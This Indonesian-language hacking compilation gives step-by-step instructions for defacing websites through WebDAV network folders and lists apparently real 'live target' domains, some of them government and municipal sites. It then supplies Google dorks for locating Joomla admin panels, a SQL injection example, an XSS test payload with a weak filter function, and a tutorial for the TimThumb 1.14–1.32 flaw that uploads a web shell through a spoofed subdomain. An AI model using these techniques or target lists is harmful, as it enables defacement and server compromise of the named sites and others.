1. Persiapkan halaman Script defacement Anda, contoh :l hacked.html 
2. Buka window explorer   
3. Kemudian di dalam tampilan windows explorer klik kanan dan pilih Add a network Location
     
4. Selanjutnya klik nekt  Pada Internet or network addres, masukkan alamat website target Anda! misal target Anda adalah http://yourtarget.com/ 
5. klik nekt dan tunggu sampai prosesnya selesai, lama tidaknya proses tergantung koneksi internetmu. 
6. Selanjutnya memberikan nama web folder tersebut, klik nekt saja langsung karena secara otomatis akan memberikan nama sesuai alamat website tsb.
7. klik finish dan web folder tersebut akan muncul di windows explorer Anda.  
8. Langkah selanjutnya masukkan halaman defacement Anda yang sebelumnya sudah dipersiapkan, misal deface.html ke dalam web folder yang telah dibuat tadi. htm
9. Untuk membuka hasil deface Anda tersebut tinggal menambahkan nama file defacement Anda dibelakang url website tsb. Misal: http://yourtarget.com/ menjadi http://yourtarget.com/deface.htm
   
   Live target
   
   zgsfjw.net
   centro.anje.pt
   www.ziangli.com 
   6.shicheng.gov.cn
   www.ville-mordelles.fr 
   www.podiocom.com 
   www.journeezerotracas.fr 
   www.journeezerotracas.com 
   www.journee0tracas.com 
   www.comune.torrice.fr.it 
   www.chinamaster88.com 
   www.chateaudelepinay.fr 
   www.centroformazioneitalia.it 
   www.bjautoobd.com 
   www.autodiagtool.com 
   usa.automotormaster.com
   so-sighty.fr
   perros-guirec.icor.fr
   myhealthcity.com
   malaysiahealthcareindonesia.com
   lapetitehublais.fr
   handistar.fr
   gz.autoobd-ii.com
   gz.automotormaster.com
   expert-comptable-35.fr
   carrelages-palmieri.com
   camion-road-show.com
   autoobd.cn
   hibis.co.id

Quote:intext:Usar un nombre de usuario y contraseña válido para poder tener acceso a la Administración.. Joomla!® es software libre distribuido bajo la licencia GNU/GPL. Pack creado por Joomla!Spanish - 2011 - Hosting Joomla Spanish Webempresa

Quote:intitle:home page beez joomla 1.6 inurl:com/joomla

Quote:intitle:home page beez 2 inurl:com/joomla

Quote:intitle:home page beez 5 inurl:com/joomla

Quote:intitle:home page atomic inurl:com/joomla

Quote:intext:Joomla!® - бесплатное программное обеспечение, распространяемое по лицензии GNU General Public License
Локализация: Портал Joomla! по-русски. Техническая поддержка: Форум русской поддержки Joomla! CMS inurl:/administrator

Quote:intext:Veuillez utiliser un identifiant et un mot de passe valides pour accéder à l'administration. site:it

Quote:intext:Введите существующие логин и пароль доступа к Панели управления. site:ru

Quote:inurl:/administrator/index.php intext:Use a valid username and password to gain access to the administrator backend. Joomla!® is free software released under the GNU General Public License.

Quote:intitle:joomla! intext:joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors site:com

Quote:inurl:index.php/using-joomla/extensions/components/users-component/registration-form

Quote:inurl:index.php/using-joomla/extensions/plugins site:.com

Quote:inurl:index.php/using/joomla site:com

Quote:inurl:index.php/using-joomla/extensions/components/content-component/article-category-list/50-upgraders

Quote:inurl:index.php/using-joomla/extensions/components/content-component/article-categories/28-park-site/photo-gallery

Quote:inurl:index.php/using-joomla/parameters/26-sample-data-articles/park-site

Quote:Inurl:index.php/plugins site:com

Quote:Inurl:index.php/rss=feed site:com

Quote:inurl:index.php/joomla/content/category-blog/24-joomla site:com

Quote:inurl:index.php/using-joomla/extensions/components/content-component/article-categories/84-gd-articles site:.com

Quote:inurl:Home Page Beez joomla 1.6 index.php using-joomla

Quote:inurl:index.php joomla! 1.7 - open source content management site:com

Quote:inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com

Quote:intext:joomla! 1.7 - open source content management site:jp

Quote:inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:.com

Quote:inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as

Quote:inurl:index.php/19-sample-data-articles/joomla site:com

Quote:inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:com

Quote:intext:"joomla! 1.7 - Open Source Content Management" inurl:sites-guide.co.vn

Quote:intext:"joomla! 1.7 - Open Source Content Management" inurl:statscrop+gov

Quote:intext:"joomla! 1.6 - Open Source Content Management" inurl:statscrop+gov

Quote:intext:"joomla! 1.7 - Open Source Content Management" inurl:statmyweb+gov

Quote:intext:"joomla! 1.6 - Open Source Content Management" inurl:statmyweb+gov

Quote:intext:"joomla! 1.6 - Open Source Content Management" inurl:gov rank

Quote:intext:Joomla! is the mobile-ready and user-friendly way to build your website. Choose from thousands of features and designs. Joomla! is free and open source.

Quote:intext:The Joomla! name is used under a limited license from Open Source Matters in the United States and other countries.JoomlaShine.com is not affiliated with or endorsed by Open Source Matters or the Joomla! Project.

Quote:intext:Joomla! 1.7Â continues development of the Joomla Framework and CMS as a powerful and flexible way to bring your vision of the web to reality

Quote:intext:Joomla! Spanish.Gestor de Contenido Open Source 2.5 inurl:com/joomla

$SQL="select * from `tblBerita` where `id` = '".$_GET['id']."'";

dan querynya akan mejadi seperti ini bila ada penambahan single quote pada url

select * from `tblBerita` where `id`='10'\'

3 Cara Mengatasi Serangan XSS

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Dikutip dari Wikipedia


Disini saya hanya menerangkan tempat dimana XSS dapat dilakukan

XSS yang paling banyak digunakan adalah jenis GET dan POST.
Salah satu contoh yang akan dibahas adalah jenis GET.

Lihat gambar dibawah ini :

Masukkan script alert sederhana ini pada URL yang mempunyai request GET

http://localhost/Momonimo/search?search_key=<script>alert('XSS TRUE')</script>

Jika halaman tersebut (yang mempunyai database) dapat melakukan XSS, maka akan tampil alert seperti gambar sebagai berikut :



Mengatasi XSS
---------------------------------------------------
PHP sangat handal dalam melakukan konversi string dengan cepat. Tetapi jenis apa yang akan anda lakukan jika hal diatas terjadi?

Saya melakukan survey terhadap teman-teman programmer.
Tidak sedikit yang menjawab "Pakai saja htmlentities() atau strip_tags()"

htmlentities() memang dapat melakukan konversi tag-tag HTML, tetapi bagaimana dengan Javascript?

strip_tags() memang dapat melakukan konversi tag-tag HTML dan PHP dengan NULL byte, tetapi bagaimana dengan Javascript?

Lalu apa yang harus dilakukan?
Saya memakai filter_var() dengan tipe filter Sanitize
Caranya sebagai berikut :

filter_var($val, FILTER_SANITIZE_STRING);

Dan hasilnya adalah :


Berikut adalah Fungsi untuk keseluruhannya :

function xss_filter($val) {
 $val = htmlentities($val); 
 $val = strip_tags($val);
 $val  = filter_var($val, FILTER_SANITIZE_STRING);
 
 return $val;
}

no image specified
Query String : 
TimThumb version : 1.19 

berarti vuln ;) ,, nah yang harus kamu ketahui lagi itu adalah TimThumb version . 

Nah jadi target yang bisa kita exploitasi itu timthumb version 1.14 sampai dengan 

1.32 ,, Udah ngerti kan ? :) kalo belum ngerti liat aja tutorialnya :) ,, Yuk TKP .. 

Alat dan Bahan : 

1. Subdomain yang terintegrasi website berikut 

   : picasa.com

   : blogger.com

   : flixr.com 

sebenarnya ada 5 tapi aku gk hafal U,u ,, contoh " flxr.com.namawebsitekamu.com/shell.php "

, Nah sebelumnya kamu musti upload dulu shell di subdomain kamu yang letaknya di directory

public_html / httpdocs / www / dan macam² .. 

2. Otak dan pantang menyerah ;) .. 

Exploit : 

1. Kali ini saya dah punya target sendiri ,, lihat gambar .. 

 

" /cache/c89de71219ef668b7642e43e04d5d4df.php " masih kurang jelas ? liat gambar ..